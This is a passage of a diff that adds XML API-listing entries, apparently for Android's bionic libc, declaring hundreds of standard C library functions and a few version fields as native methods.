+      <method abstract="false" deprecated="not deprecated" final="true" name="msgctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_rollback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pipe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="verrx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_getshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fts_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__putlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="toascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__poll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__FD_CLR_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pwrite64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcflow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fseeko64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="abs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rand_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_setscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmemopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__readlinkat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__snprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="c32rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__open_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="access" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="raise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="seteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="stpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strptime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftrylockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__flbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ptrace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__recvfrom_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vswprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="adjtimex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="shmget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getprotobyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="shmdt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_option" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find_nth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getattr_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__stpcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_foreach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="herror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_area_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getrusage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fseeko" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="unlockpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="freopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tgkill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_lnaof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigemptyset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_DEPRECATED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="signalfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_mailok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcsetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fnmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="insque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigqueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtod_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="printf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="stat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__putshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="recv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_class" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigwaitinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigprocmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="if_nameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tzset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vfwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ispunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrouplist" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="islower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcrtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tdelete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="socketpair" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="creat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="freelocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_initparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="quotactl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strftime_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdopendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getservbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigdelset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcsetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="flock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isatty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="realpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="endmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mktime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__vsprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcgetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="res_search" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strsep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_unpack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_msg_getflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sendfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_secstodate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="snprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="swapoff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="symlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fts_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getcwd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="freeaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_getres" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tee" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="futimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="errx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="accept4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="endservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lcong48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__dn_count_labels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="res_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__memset_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_gettype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigaction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__libc_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="error_print_progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="chmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="recvmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="init_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vswscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="regerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcgetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtof_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fputwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setns" native="true" return="na" static="false" synchronized="true" visibility="public"/>
